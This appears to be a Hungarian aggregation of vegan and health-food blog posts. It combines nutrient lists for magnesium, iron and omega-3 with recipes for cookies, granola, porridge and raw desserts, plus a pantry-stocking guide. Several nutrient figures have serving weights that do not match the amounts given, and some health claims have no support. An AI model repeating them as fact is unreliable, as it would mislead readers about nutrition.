Magas magnézium tartalmú növények: nyers spenót (79mg/100g), főtt fodros kel (76mg/38g), főtt mángold (152mg/38g), egyéb leveles zöldségek, szezámmag (252mg/59g), tökmag (534mg/100g), mandula (196mg/59g), kesudió (177mg/59g), egyéb magvak és diófélék, főtt fehérbab (92mg/172g), főtt csicseriborsó (80mg/172g), főtt feketebab (92mg/172g), egy babfélék és hüvelyesek, quinoa (120mg/195g), barnarízs (44mg/100g), bulgur (60mg/195g), zab (28mg/195g), avokádó (29mg/100g), banán (27mg/100g), aszalt füge (68mg/100g), aszalt szilva (44mg/75g), aszalt sárgabarack (40mg/75g), egyéb aszalt gyümölcsök, tiszta fekete csokoládé (327mg/100g), valamint sütőtök, hínár, brokkoli, kávébab, gyökérzöldségek
Vegán étrend és a vas bevitel:
A vas az oxigénszállításért felel a szervezetben és alkotóeleme a hemoglobinnak, így ha nincs elég a szervezetben akkor vérszegénység alakul ki. Sokan “féltik” a vegánokat a vashiánytól, mivel az a tévhit alakult ki, hogy a vegetáriánus vagy vegán étrendet követők komoly vashiánnyal küszködnek. Ez általánosítva tévedés. Még annak ellenére is, hogy a húsokból bevitt vas nagyobb hatékonysággal szívódik fel, mint a növényi alapú. (40% kontra 10% az arány) Ugyanakkor a növények magas szerves sav – mint pl. aszkorbinsav – és flavonoid tartalma, valamint a szervezet magas szinten tartott aszkorbinsav szintje is segíti a vas felszívódását. (Az előző megállapításokkal kapcsolatban nem találtam semmilyen kutatási eredményt.)
Az emberek vasigénye nagyban függ nemüktől, életciklusoktól, életvitelüktől és koruktól. Míg a férfiaknak napi 8mg körüli a vasigényük, addig a nőknek serdülő kortól 14-15mg-ra növekszik. A gyermek szervezet vas igénye sem marad el túlzottan a felnőtt férfiakétól a maga 7-8mg-jával.
Vas tartalommal bíró növényi ételek: tökmag (15mg/100g), napraforgónap (1,98mg/100g), szezámmag (4,14mg/100g), egyéb magvak és diófélék (5-6mg/100g), őrölt kakaóbab (17mg/100g), tofu (2,7mg/100g), kucsmagomba (12,18mg/100g), főtt shiitake gomba (5,4mg/66g), laskagomba (6,2mg/66g), egyéb gombák, aszalt sárgabarack (6,31mg/100g), aszalt füge (3,06mg/119g), mazsola (4,43mg/119g), olívabogyó (3,32mg/119g), főtt lencse (6,6mg/179g), főtt szójabab (8,82mg/179g), főtt feketebab (3,6mg/179g), főtt pinto bab (3,6mg/179g), egyéb hüvelyes növények, quinoa (2,8mg/185g), zabpehely (2,16mg/185g), bulgur (1,8mg/185g), barnarizs (1,9mg/185g), köles (1,08mg/185g), valamint egyéb gabonák, főtt spenót (6mg/180g), főtt mángold (3,96mg/180g), kelkáposzta (1,08mg/180g), szeder (2,59mg/140g), bodza (2,56mg/140g), málna (1,7mg/140g), eper (1,08mg/140g), egyéb erdei gyümölcsök, kókusz (3,32mg/100g), póréhagyma (2,1mg/100g) rukkola (1,46mg/100g), melasz, mák, szilva, körte, retek, brokkoli, avokádó, spárga, cékla, birsalma, citrom, szőlő, sárgadinnye, banán, stb.
Vegán étrend és egyéb tápanyagok
Vegán étrend, az omega-3 és egyéb zsírsavak
Az omega-3 zsírsavak idegi alapú betegségek, szív és érrendszeri betegségek, valamint gyulladások kialakulásának megelőzésében játszanak fontos szerepet. Az omega-3 egy telítetlen zsírsav, melynek a szervezet által elvárt napi minimális igényét fél mokkáskanálnyi lenmagolaj fedezi.
Omega-3 források: hidegen préselt lenmagolaj (53449mg/100g), (a lenmag kb. 2x több omega-3-at tartalmaz mint a halolaj), chia mag, kínai egres, vörösáfonya, sárgarepce, fekete málna, porcsin, diófélék, leveles zöldségek
Omega-6 források: repceolaj, olívaolaj, földimogyoróolaj, tökmagolaj, napraforgóolaj, ligetszépe olaj, borágó olaj, kendermag olaj
Vegán étrend és a rosttartalom
A rostok szénhidrátok, melyek nem emésztődnek meg teljesen és nem szívódnak fel. Lassítják és gátolják a toxinok valamint a szükségtelen anyagok felszívódását, gyorsítják az emésztést és mozgásban tartják a bélrendszert. Rostokat semmilyen állati eredetű étel és semmilyen finomított gabona (finomliszt) nem tartalmaz.
Források:
https://ods.od.nih.gov
http://www.ncbi.nlm.nih.gov
https://nutritionj.biomedcentral.com/
http://nutritionfacts.org
http://jissn.biomedcentral.com/
http://www.healthaliciousness.com
www.oeti.hu
Grillezett, töltött padlizsántekercs
2016. február 8. Éltető ételek
Azt tudjuk, hogy vacsorára nem jó sokat enni, mert akkor az alvás nem lesz olyan pihentető. Bármilyen zöldség teljes értékű gabonával tökéletes párosítás, így ebben az esetben is ez készült. Hozzávalók: (2 fő) - 1 nagyobb padlizsán - pác - 2-3 evőkanál olívaolaj - himalája só - bors - pirospaprika és füstölt pirospaprika - 2 gerezd préselt fokhagyma - kb. 1/2 csésze parboiled rizs - 2 kápia paprika - kb. 20 dkg gomba Elkészítése: - A padlizsánt alaposan mossuk meg, és hosszában, vékonyan szeleteljük fel. - Készítsük el a páclevet, majd ecsettel kenjük be a padlizsánok mindkét oldalát. Hagyjuk állni 15-20 percet. - A kápia paprikát hosszú, vékony csíkokra szeleteljük fel. - A sütőt melegítsük elő, és grill fokozaton süssük meg a padlizsánt és a kápia paprikát is.(Serpenyőben is elkészíthetjük.) - A gombát tisztítsuk meg, majd kevés kókuszolajon só, bors, fokhagyma társaságában, serpenyőben pirítsuk meg. - A rizshez keverjük hozzá a kápia paprikát és a gombát, majd a padlizsán szeletekre halmozzunk úgy 1 evőkanálnyit. - Óvatosan tekerjük fel, és már ehetjük is. - Kínálhatunk hozzá házi ajvárt, nagyon jól kiegészítik egymást.
Császármorzsa kicsit másképp... reformosan
2016. február 4. Éltető ételek
Császármorzsa... ki ne emlékezne vissza gyerekkori kedvenc ételére. Nos, egy picit megreformáltam, de ugyanolyan finom. Bizony ez barna színű a teljes kiőrlésű gabona miatt. :) De ne ijedj meg, bátran próbáld ki. Hozzávalók (4 adag) - 40 dkg teljes kiőrlésű tönkölyliszt - 10 dkg fehér tönkölyliszt - 3 házi vagy bio tojás - 5 dkg vaj - 8-10 dkg méz - 1 marék mazsola - 5 dl rizstej - 1 kávéskanál fahéj - szárított, reszelt narancshéj (DM-es) - csipet só - házi baracklekvár vagy nádcukros édesítésű (a DM-ben vásárolom) - 1 evőkanál kókuszvirágcukor - 1 evőkanál kókuszolaj a sütéshez Elkészítése: A puha vajat keverjük ki a tojás sárgájával. Adjuk hozzá a mézet, a mazsolát és a fűszereket.Öntsük hozzá a lisztet, majd folyamatosan keverve a lisztet is. Egy sűrű, nokedli állagú tésztát kapunk.A tojásfehérjét verjük fel kemény habbá, és lazán forgassuk bele a tésztába.Melegítsünk fel egy nagy kerámia serpenyőt, tegyük bele a kókuszolajat.Öntsük bele a tésztát. Ekkor jön a nagy munka. Ugyanis most következik a sütés-keverés-kavarás-pirítás. Én ezt két fakanállal oldom meg, úgy vagdosom a tésztát, hogy morzsálódjon.Kb. 40 perc szükséges ahhoz, hogy kelően megsüljön a tészta. Ekkor még szórjuk meg a kókuszcukorral, és még pirítsunk rajta pár percet.Kínáljunk hozzá házi (mézzel édesített), vagy nádcukros baracklekvárt. Én vízzel hígítani szoktam, mert nagyon tömény és édes.
Köles-kukorica kása-torta mogyoróvajjal és karoböntettel
2016. február 4. Mindennapi ételeink
Kaptunk a Biorganik-tól instant kásákat kipróbálási célból. Most az elsőből készítettem egy finom édességet. Hozzávalók: 10 dkg instant köles-kukoricakása 3 ek. gyümölcscukor 3 ek. darált földimogyoró (opcionális) kb. 1-2 dl forró víz -- 6 ek. mogyoróvaj -- 6 evőkanál víz 3 evőkanál karobpor 3 evőkanál növényi tejpor 2 evőkanál kókuszolaj 3-4 evőkanál datolyaszirup 3-4 evőkanál víz Elkészítés: Az instant kását leforrázzuk a vízzel és állni hagyjuk. Majd egy tálcán kisimítjuk, rákenjük a mogyoróvajat, és az előzetesen elkészített karobszószt. A szószt így készítjük: a vizet felforraljuk, beletesszük a tejport és a karobot, majd a szirupot is.
Kakaós müzli
2016. február 1. Éltető ételek
Igazi kakaós müzli a bolti cukros pelyhek helyett. Elég nagy adag, de jól záródó dobozban, üvegben sokáig eláll. Öntsetek rá növényi tejet, és már lehet kanalazni is. Az ötlet innen származik. A kakaópor mennyiségét csökkentettem, és több diót tettem hozzá. Hozzávalók: Száraz összetevő: - 3 bögre nagyszemű zabpehely - 1 bögre aprószemű zabpehely - 1 bögre kókuszreszelék - 2 bögre áztatott/szárított dió - 1/2 bögre arany lenmag - egy csipet só - 1 kávéskanál vaníliapor Nedves összetevő: - 2 evőkanál cukrozatlan kakaópor - 1/3 bögre kókuszolaj (olvasztva) - 4-5 evőkanál méz - 5-6 csepp narancsolaj vagy bio, reszelt narancshéj Elkészítése: A száraz összetevőket keverjük össze egy tálba.A kókuszolajat olvasszuk fel, majd keverjük hozzá a kakaóport, a mézet és a narancsolajat.Öntsük a zabpelyhes keverékhez, és jól forgassuk össze.A sütőt melegítsük össze 160 fokra, majd a kakaós keveréket tegyük egy zsírpapírral bélelt tepsibe.30 percig süssük, ezidő alatt 2-3 alkalommal keverjük fel.Vegyük ki a sütőből, és hagyjuk kihűlni, de ekkor már ne kevergessük, mert akkor nem lesz darabos a müzli.Ha kihűlt, tegyük jól záródó dobozba.
Linzer szivecskék (nem csak Valentin napra)
2016. január 28. Gitta nyersétel blogja
Szív alakú aprósüti... nem is lenne Valentin nap ezek nélkül. Az alaptészta nagyon jó, érdemes ünnepek után virág vagy más formára is elkészíteni, úgy is sikere lesz. Készíthetünk szív alakú kosárkákat, amiben színes aszalt gyümölcsöket kínálhatunk, a színekkel és formákkal itt is bátran játszhatunk, varázslatos eredmények születhetnek Alaptészta hozzávalók 1 tálca sütihez, kb 60 dkg kerül egy tálcára: 20 dkg őrölt mandula, 20 dkg hajdinacsíra liszt*, 1 csipetnyi Himalája só, 20 dkg hámozott, kockára vágott alma, méz, ízlés szerint tisztított víz szükség szerint * a hajdinát beáztatod 1-2 órára, majd csíráztatod egy napig, utána meg jól megaszalod. Ezt követően lehet megőrölni, ebből lesz az "élő" hajdina liszt, így már lehet fogyasztani. Nyersen nem egészséges. Kókuszos linzer süti: Hozzávalók: alaptészta + 2-3 evőkanál kókuszreszelék+ 1 kanál kókuszreszelék a szóráshoz Goji bogyós, áfonyás süti: alaptészta + 4 evőkanál áfonyás-gojibogyós pép* * 2-2 evőkanál aszalt áfonyát és gojibogyót kevés vízbe beáztatunk, majd pürésítjük. A Goji bogyó, más néven Farkasbogyó származási helye Kína északi része, ahol már évezredek óta alkalmazzák a tradicionális gyógyászatban. Finom rágcsálnivaló, amely szervezetünket természetes cukrokkal, fehérjékkel, rostokkal és ásványi anyagokkal - réz, kálium és vas - táplálja. PlanetBIO goji bogyót használok, az eddigi tapasztalatok szerint ez a legtisztább, legfinomabb. További tippek: vaníliával, narancsolajjal, mentával is készíthetjük, mind-mind csodás finomság. Az alaptésztához a száraz összetevőket keverjük össze. Az almát pürésítsük, majd öntsük hozzá a magokhoz. Jól gyúrjuk össze, egy tömör állagú, jól formázható masszát kell kapjunk. Ha az alma nem nedvesített eléggé, akkor kevés vizet tehetünk hozzá, ha pedig túl lágy lett a tészta, akkor egy kevés őrölt mandulával tömöríthetjük. Kókuszos tészta: a kókuszreszeléket már az elején tegyük hozzá a száraz összetevőkhöz. Ha túl száraz lenne a tészta, egy kis almapürét még tehetünk hozzá. Gyümölcsös tészta: ha az alapmasszához gyümölcspépet adunk, akkor ennek megfelelően kevesebb almapép szükséges. Ezért úgy járjunk el, hogy először a színes gyümölcspépet keverjük el a száraz összetevőkkel, majd utána annyi almapépet tegyünk hozzá, hogy a massza jól gyúrható legyen. Bármelyik masszát készítettük el, fogjunk egy tepsit, vagy az aszalógépünk tálcáját, tegyünk rá sütőpapírt vagy egy tapadásmentes teflex lapot, és a tésztát egyenletesen kenjük rá. Nagy segítség lehet egy úgynevezett habkártya, egy műanyag lapocska, amivel szép sima felületet lehet elérni. Kókuszos süti esetén szórjuk meg a felületet kókuszreszelékkel, kicsit bele is nyomkodhatjuk. Ezután kapcsoljuk be a sütőt 60 fokra, tegyük be a sütit és hagyjuk nyitva az ajtaját résnyire, hogy a pára el tudjon távozni. Aszalógép esetén szintén 60 fokot állítsunk be. 30-40 perc múlva már összeáll annyira a tészta, hogy a finomabb formákat el lehet készíteni. Szív alakú pogácsa szaggatóval formákat szúrunk a tésztából, és rácson tesszük vissza a sütőbe, illetve az aszalógépbe. Ekkor már csak 45 fokosra állítjuk az aszalógépet, és 2-3 óra alatt készre aszaljuk. Ha van szív alakú muffin formánk, akkor a kinyújtott tésztát belenyomkodhatjuk a formába, a széleit a forma mentén levágjuk, és először a formával együtt aszaljuk 2-3 órát (kb 50 fokon), majd kivesszük a formából, és még 1-2 óra alatt (45 fokon) készre aszaljuk. Ezt a receptet, és még további ünnepi nyers ételek receptjeit megtalálod legújabb könyvemben, amit megvásárolhatsz könyvesboltokban, vagy megrendelheted tőlem: gitta@nyersetelakademia.hu
Csokoládés kókuszos zabkása (vegán) + Kedvezménykupon
2016. január 26. Zizi kalandjai
Újabb szuper élelmiszer rész… töltsük fel a szervezetünk raktárát most a téli időszakban vitaminokkal, ásványi anyagokkal, nyomelemekkel. Kezdjük a napunkat egy energiát adó melegítő zabkásával.
A nyers kakaóporról már korábban írtam itt, de lássuk mi is az a lucuma por. A lucuma egy egzotikus gyümölcs, természetes édesítő (alacsony GI), ami Dél-Amerika trópusi részein terem, ahol az egyik legnépszerűbb fagylalt ízeként “az inkák aranya” néven ismerik. A lucuma por nagy mennyiségű szénhidrátot tartalmaz, található benne fehérje. Ezenkívül kiváló foszfor és vas forrás. Használhatjuk kásák, turmixok, fagylaltok, nyers desszertek készítéséhez.
Ebben a zabkásában nagyon finom a kakaópor kesernyés íze az édeskés datolyasziruppal, a kókuszreszelék adja a kókuszos ízt, a mandulavaj pedig a krémességet. A lucuma por ráadás foszfor és vas forrás.
Csokoládés kókuszos zabkása (vegán)
Hozzávalók 3-4 főre:
– 10-12 evőkanál zabpehely
– 3 evőkanál kókuszreszelék
– 1 evőkanál mandulavaj
– 2 teáskanál nyers kakaópor
– 1 teáskanál lucuma por
– 4 teáskanál datolyaszirup
– 1/2 teáskanál fahéj
– 2 és 1/2 bögre zabtej (mandula-, rizs-, szójatej is használható)
– dió, hántolt kendermag a tálaláshoz (bármilyen mag használható, pl. mogyoró, lenmag, chia mag, stb.)
Tegyük egy lábasba a zabpelyhet a zabtejjel és alacsony lángon kezdjük el főzni folyamatos kevergetés mellett. 5-6 perc után adjuk hozzá a fahéjat, a kókuszreszeléket. 2 perc múlva keverjük hozzá a mandulavajat és a datolyaszirupot. Főzzük még kb. 5 percig, amíg krémes, kása állagú lesz. A végén keverjük hozzá a kakaóport és a lucumát. Ha túl sűrűnek találjuk, hígítsuk még egy kevés rizstejjel.
Tálaljuk dióval és kendermaggal.
Szuper élelmiszer sorozat:
Inka bogyó (inka bogyós datolya golyóként elkészítve)
Acai por (turmixként elkészítve)
Kakaópor és kendermag por (smoothie-ként elkészítve)
*****
Az lucuma port, a nyers kakaóport és a hántolt kendermagot a {Planetbio} biztosította a recepthez. A véleményem csakis a sajátom.
Jó hír, hogy a Planetbio felajánlotta, hogy kedvezménykupont biztosít a Zizi kalandjai olvasóinak! Minden online vásárlás végösszegéből 5% kedvezményt nyújt a cég. A kuponkód, amelyet megrendeléskor be kell írni a kedvezmény érvényesítéséhez: ZIZI. Jó vásárlást mindenkinek!
Vegán, gluténmentes banános-mandulás keksz
2016. január 23. Mindennapi ételeink
Egyik ismerősömtől kaptam ezt a receptet és rögtön megtetszett, persze, kicsit módosítottam rajta. A hajdinától tartottam, de felesleges volt :-) Hozzávalók: 10 dkg hajdinaliszt 10 dkg szezámliszt 2 kk. szódabikarbóna 8 dkg eritritol 10 dkg darált mandula 10 dkg darált dió 4 db banán 1 dl rizs habkrém, felverve mazsola, aszalt vörösáfonya, manduladarabok - opcionális, ízlés szerint Elkészítés: A liszteket kimérjük, hozzáadjuk a szódabikarbónát, az eritritolt, a ledarált mandulát és diót /napraforgómagot, egy másik tálban a banánt összetörjük, hozzáadjuk a kókuszzsírt, majd a felvert rizs habot. Mindezt a száraz hozzávalókhoz keverjük. Beleforgatjuk a mazsolát, manduladarabokat, vagy opcionális ízesítőket (pl. gyömbért). Sütőpapíros tepsibe tesszük (egy kanál segítségével) és 15 perc alatt 200 fokon megsütjük.
Paradicsomos káposzta árpagombóccal
Ez egy elég vegyes, nyers-főtt, befőttes étel, de tél van, hideg van, kimondottan jól esik egy kis tűzenergia ;) Mennyei volt ;) Hozzávalók 4 személyre: 1 fej édes káposzta 0,5 l paradicsomlé 1 dl házi ketchup 1dl forrásvíz 1 fej vöröshagyma 1 diónyi kókuszzsír 1 kk só 1 ek méz 1/2 bio citrom kifacsart leve […]
Csoki chip kekszek (cookies)
2016. január 17. Gréta konyhája
(tej-, tojás-, és gluténmentes)
A boltban sok hasonló csokichip kekszet lehet kapni, de azok fehérlisztbő, fehércukorból, és egyéb egészségtelen hozzávalókból állnak.
S, hogy ne kelljen megvennünk, és, hogy kedvezzünk a gluténérzékenyeknek is, íme a tökéletes recept.
Ami pedig a legjobb benne (az ízén túl), hogy 20 perc alatt kész!
Hozzávalók: 10-12 db-hoz
1 bögre barna rizsliszt
1/4 bögre mandulaliszt vagy gesztenyeliszt
1 mk foszfátmentes sütőpor
fél érett banán összenyomkodva
2 ek olvasztott kókuszolaj
1/4 bögre kókuszvirágcukor
1 lenmagtojás (1 ek lenmagliszt 3 ek vízzel elkeverve, majd 5 percig pihentetve)
1 fél bögre tejmentes csoki pasztilla (chip) a 60%-os kakaótartalmúakban már nincs tejpor
A száraz és nedves anyagokat külön külön jó alaposan összekeverjük, majd egymással is, majd a végén belekeverjük a csokipasztillákat. Egyforma labdacsokat gyúrunk, majd a tenyerünkkel szétlapítjuk, és egy sütőpapírral borított lapos tepsibe tesszük. 180 fokos előmelegített sütőben sütjük 10 percig. Figyeljünk arra, hogy ne száradjon szét. Legyen kicsi rágós, ne teljesen kekszes. Ha kihűlt, akkor szépséges lezárható befőttes üvegekbe is rakhatjuk, és szépen díszítve még ajándékba is adhatjuk.
Jó étvágyat!
Földimogyoróvajas-csokoládés zabkeksz
2016. január 13. Zizi kalandjai
Ezeket a kekszeket az elmúlt egy hétben kétszer is megsütöttem. Most, hogy ugye újra szoptatok és nem ehetek magas fehérje tartalmú hüvelyeseket, így maradnak a magok, magvajak, amikkel növelni tudom a fehérje bevitelemet, na és ott van az ebben a kekszben szereplő zabpehely is, ami ráadásul tejserkentő. Erre mondják, hogy win-win kategória. Na persze éhes is vagyok rendesen, hiába eszem nagy adagokat. Szóval az ilyen édes, kényeztető nasik – mint ez a keksz – adják a nap egyik fénypontját.
Most vastagabb kekszeket készítettem, mint szoktam és nagyon figyeltem a sütési időre is (előfordul, hogy megégetem a kekszeket, pláne, ha vékonyabbra formázom őket), így finom és inkább puha, mint nagyon ropogós kekszeket kaptam. Nekem nagyon bejön ez az állag, szerintem nehezebb is abbahagyni az evését… nemcsak a puhasága miatt, hanem a finomsága miatt is. Földimogyoróvaj, vanília, zabpehely, csoki cseppek… nyerő négyest alkotnak! Próbáljátok ki Ti is!
Földimogyoróvajas-csokoládés zabkeksz (vegán)
Hozzávalók:
– 1 bögre és 2 evőkanál sima földimogyoróvaj (házilag is elkészíthetjük)
– 1 bögre zabpehely
– 1 bögre tönköly fehérliszt
– 1 bögre nyers nádcukor vagy kókuszvirág cukor
– 1/4 bögre zabtej, plusz 1-2 evőkanál (bármilyen más növényi tej használható)
– 2 evőkanál lenmagpehely (darált lenmag)
– 6 evőkanál víz
– 1/3 bögre étcsokoládé cseppek (bármilyen csokoládé jó felaprítva is, de el is hagyható)
– 1 vaníliarúd kikapart magjai
– csipet só
Egy kis tálkában keverjük össze a lenmagpelyhet a vízzel és tegyük félre néhány percre. Melegítsük elő a sütőt 180C fokra. Egy tepsit béleljünk ki sütőpapírral.
Közben egy tálban keverjük össze a földimogyoróvajat a nádcukorral, a vaníliával, a sóval, majd adjuk hozzá a zabpelyhet és a lisztet. Öntsük hozzá a zabtejet és a zselés állagú vizes lenmagpelyhet. Nem áll a tészta teljesen össze, de ha egy kis adagot az ujjunkkal összenyomunk, akkor össze kell ragadnia. Ha van még nagyon száraz rész a tésztában, akkor adjunk hozzá egy evőkanál zabtejet.
Fagyis kanálba nyomkodjuk bele a tésztát és adagoljunk gombócokat a sütőpapírra (ha nincs fagyis kanál, akkor kézzel lehet kis gombócokat formálni). Majd ezeket a tenyerünkkel lapítsuk le kicsit. Az előmelegített sütőben süssük kb. 15 percig, amíg aranybarnák lesznek.
Almás-kókuszos zabpehely vagy hajdina süti
Az első recept a blogon ennek a sütinek egy változata volt 2008-ban. Jó régen. Mi minden történt azóta... Hozzávalók: 1,5 kg reszelt alma 50 dkg zabpehely 1 dl olaj 10 dkg kókuszreszelék 2 ek gyümölcscukor/eritrit 1 teáskanál vaníliaőrlemény 2 alma (szeletelve) A zabpelyhet és az olajat jól összedolgozzuk. Belekeverjük a többi hozzávalót. Magas oldalú, kiolajozott tepsibe nyomkodjuk a masszát, tetejét almaszeletekkel fedjük le. Kb. 20 percig sütjük, míg a teteje szép aranybarnára sül. Nyáron friss meggyel, télen magozott meggybefőttel ízletesebbé tehető, a kókuszreszelék kiváltható darált olajos maggal. Ha szeretjük a hajdinát, zabpehely helyett főtt hajdinával is összekeverhető, és süthető.
Az egészséges és tudatos táplálkozás alapjai 3. - Mi kerüljön a konyhaszekrénybe
2016. január 9. Élj harmóniában
Az egészséges és tudatos táplálkozás alapjai előző részében részletesen írtam arról, mely ételek töltik fel a tested energiával és mely ételek azok, amelyek energiát vonnak el, fáradttá , tompává tesznek. (itt olvashatod) A fő elv, hogy friss, teljes értékű, tiszta minőségű (bio), egyszerű, természetes ételeket részesítsd előnyben. Ahhoz, hogy elkezdj egészségesen táplálkozni, vedd szemügyre a konyhaszekrényt és a kamrát. Próbálj megszabadulni az előző cikkben említett kerülendő ételektől, lejárt alapanyagoktól, tartósítószerezett, vegyszeres konzervektől, félkész ételektől, édességektől. Mivel töltsd fel az éléskamrád? Vegyük sorra milyen élelmiszereket érdemes otthonra beszerezned ahhoz, hogy egészségegesen, változatosan és teljes értékűen tudj étkezni. Elsődlegesen vegyszermentes (bio) változatokat vásárolj. Nem kell mindent azonnal beszerezni, szépen lassan fokozatosan kezdj el kipróbálni új dolgokat, ismerkedni az új alapanyagok felhasználásával. A bio élelmiszerek ára néhány esetben több mint a konvencionális élelmiszereké - nem mindig drágábbak - ezért ha ugyanazokat szeretnéd beszerezni amit előtte, akkor az lehet, hogy sokkal drágább lesz és nem sokkal lesz egészségesebb sem. Írd össze 1 hónapban összesen mennyi pénzt költesz élelmiszerre - legyen benne minden, a céges automatából a kis csoki, a moziban az üdítő, etc. Szinte teljesen biztos, hogy abból az összegből lehet 30 napig bio-t enni, legfeljebb kicsit más menüket főzöl majd, de hidd el megéri a befektetett energiát, pénzt - hiszen ha jó a közérzeted, nem kell orvoshoz menned, és mindig tele vagy energiával, akkor nem kell gyógyszerekre sem költened és élénkítőszerekre sem, ráadásul a munkádat is hatékonyabban és jobb kedvvel tudod végezni:) Íme egy olyan lista, amit én jó szívvel ajánlok, szerintem a lenti élelmiszerek jó ha mindig vannak otthon. A lenti lista csak egy segítség, ennek fényében alakítsd ki a saját kamrádat. Ne halmozz fel túl nagy készleteket, a legjobb ha minél frissebb amit fogyasztasz. Amiket vásároltál, felbontás után tárold légmentesen záródó üvegben és mindig vedd fegyelembe a szavatossági időket. Ne egyél lejárt, rossz szagú, penészes élelmiszereket. Gabonafélék fehér és barna baszmati rizs hajdina köles búzadara árpa bulgur kuszkusz amarant quinoa kukoricadara tészta zabpehely (esetleg más pelyhek) finom és teljes kiőrlésű lisztek (búza, tönkölybúza, rozs, zab) rizsliszt kukoricaliszt A gabonák elkészítésének eltérő módjai vannak és a főzési idejük is eltérő. Szerezz ismereteket a pontos főzési időkről. Egy későbbi bejegyzésben, majd részletesen írok róla itt a blogon is. Hüvelyesek csicseriborsó csicseriborsóliszt mungbab barna és vörös lencse sárgaborsó kidney bab fekete bab fehér bab Csicseriborsó konzerv Kidney bab konzerv Minden hüvelyesnek más az áztatási és a főzési ideje - pl a mungobabaot, vöröslencsét nem is kell áztatni. Mielőtt elkezded a fenti hüvelyeseket használni, nézz utána melyiket mennyi ideig érdemes főzni. Egy későbbi bejegyzésben, majd részletesen írok róla itt a blogon is. Magvak, Diófélék mandula szezámmag lenmag napraforgómag kókuszreszelék dió mogyoró tökmag A magvak könnyen avasodnak, ezért ezekből semmiképpen ne tárolj túl nagy készletet. Felhasználás előtt pirítsd meg a magvakat, dióféléket, mert így könnyebben emészthetőek és ízletesebbek is. Édesítők, ízesítők és sütési hozzávalók teljes értékű (barna) nádcukor méz lekvárok datolyacukor datolyaszirup mazsola datolya egyéb aszalt gyümölcsök sütőpor szódabikarbóna vanília friss citrom bio pudingpor, kukoricakeményítő karob vagy kakaó kókusztej almapüré paradicsomkonzerv olajbogyó Zsírok, olajok ghí olívaolaj kókuszzsír repceolaj szezámolaj napraforgóolaj A főzésre legalkalmasabb a ghí vagy a kókuszzsír. Fűszerek, gyógynövények bányászott só kurkuma feketebors római kömény édeskömény assafoetida koriander karmamom chili fahéj szegfűszeg garam masala bazsalikom kakukkfű oregano rozmaring gyömbér Ezt a listát ízlésed, kedved szerint alakítsd:) A fűszereknek se vége, se száma, a fentiek szerintem alapszükséglet egy konyhában. A következő bejegyzésben részletesen írok majd a fűszerek használatáról is. Mi a szerepük a táplálkozásban, miért annyira fontosak és hogyan használd fel őket. Használj friss fűszereket is, gyömbér, petrezselyem, koriander, menta, bazsalikom, etc. Zöldsége, Gyümölcsök friss bio zöldségek (csak néhány példa: cukkini, brokkoli, répa, cékla, karfiol, paprika, spenót, padlizsán, uborka, karalábé, édeskömény, sütőtök) friss bio gyümölcsök ( csak néhány példa: alma, körte, eper, cseresznye, szilva, banán, datolya, szőlő, füge, áfonya, narancs, citrom, sárgabarack, őszibarack) Évszaknak megfelelő, lehetőleg a közelben termelt vegyszermentes zöldségeket, gyümölcsöket vásárolj. Az ilyen zöldségek, gyümölcsök vitamin, ásványi anyag és nyomelem tartalma sokkal magasabb és nem tartalmaznak a szervezeted számára káros anyagokat. Használd változatosan a zöldségeket és készítsd el különböző elkészítési módokon, különböző fűszerezéssel. Sok receptet találsz a blogon, de a későbbiekben részletesebben is írok a zöldségek, gyümölcsök elkészítéséről. Tejtermékek nem homogenizált, friss tehén tej vaj joghurt friss sajtok Ha nem is tervezel vegetáriánus lenni, iktass be az étrendedbe húsmentes étkezéseket, húsmentes napokat. figyeld meg a hatásokat - adott napon hogyan érezted magad - magasabb volt az energiaszinted vagy nem, nyugodtabb voltál vagy sem.. Próbáld tudatosítani a tapasztalataidat. Ha lehet a vörös húsokat hagyd el teljesen és inkább fogyassz szárnyasokat és halat. Utóbbiakat is vegyszermentes gazdálkodásból - lévén a nagyüzemi húsok nagyon sok hormont és antibiotikumot látnak. Kerüld el a tojás használatát is - későbbi bejegyzésben a tojáspótlókról részletesen írok. Amikor elkezded az egészséges étkezést, változatos, természetes ételeket fogyasztasz tapasztalni fogod, ez milyen izgalmas, sokszínű, ízletes. Figyeld meg magadon is a változást - az emésztésed, alvásod, bőröd, hajad állapotát, egészségi állapotodat, az elméd békéjét, érzékszerveid állapotát (szaglás, ízlelés, hallás).
Almás kocka
Bár tepsiben van a formázhatóság kedvéért, de ez a süti teljesen nyers ;) Mennyei!!! <3 Hozzávalók a “tésztához”: 1 csésze csíráztatott hajdina 1 csésze zabpehely 1 csésze kókuszreszelék 2 ek méz 1 ek kókuszolaj 1 bio citrom reszelt héja 1 ek vaníliakivonat 1 csipet só A hozzávalókat robotgépben finomra dolgoztam, majd két felé osztottam. az egyik […]
Citromos fügelekvárral vagy anélkül...
Egy írás szerint: ,,Az amerikaiak a zabpelyhet úgy eszik, hogy megfőzik előbb, vagy sütőben megpirítják. Nocsak, ezek az amcsik tudnak valamit, nem eszik a gabonát nyersen! A főtt változat egyszerű magyar kifejezéssel illetve nem más, mint a zabkása. A boltok polcán lévő (hőkezelés nélküli ) müzlik helyett pedig bátran fogjunk bele a crunchy granola, magyarul ropogós müzli készítésébe. Kis mennyiséggel nem érdemes bajlódni, a sült müzli légmentes üvegekben 1-2 hétig eláll, bár a szavatossági időt otthoni körülmények között még nem sikerült tesztelnem, a gyerekek mindig hamarabb megették a lesütött adagot. Banános granola: 250 g zabpehely 80 g durvára vágott mandula 80 g tökmag, napraforgó 2 nagyon érett banán 3 ek. kókuszolaj 2 ek. méz vagy juharszirup 1/2 tk. vanília őrlemény csipet só ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Béleljünk ki egy tepsit sütőpapírral és melegítsük elő a sütőt 175 fokra. Egy nagy tálba keverjük össze a száraz hozzávalókat, míg egy kisebb edénybe a folyékonyakat. A kezünkkel alaposan dolgozzuk össze a száraz és a nedves hozzávalókat. A banánt villával pürésítsük és azt is keverjük hozzá a masszához, majd egyenletes rétegben terítsük el a sütőlemezen. Süssük 15-20 percig, de félidőkor keverjük át egyszer. Folyamatosan ellenőrizzük, mert a méz miatt könnyen megéghet. Hagyjuk teljesen kihűlni és csak ezután tegyük légmentesen zárható üvegbe. Aszalványokkal dúsíthatjuk ( pl. mazsola, aszaltáfonya, aszaltmeggy, aszaltananász, stb ). Csokirajongók durvára vágott csokidarabokat is tehetnek a keverékbe. Ráérős reggeleken királyi módon tálalhatjuk a granolát. Ehhez egy szuperfoodnak felcimkézett élelmiszert ajánlok, a chia magot: nagy erőt egy piciny magban. Az ára senkit ne riasszon vissza, cirka 100 Ft-ba kerül napi egy evőkanálnyi 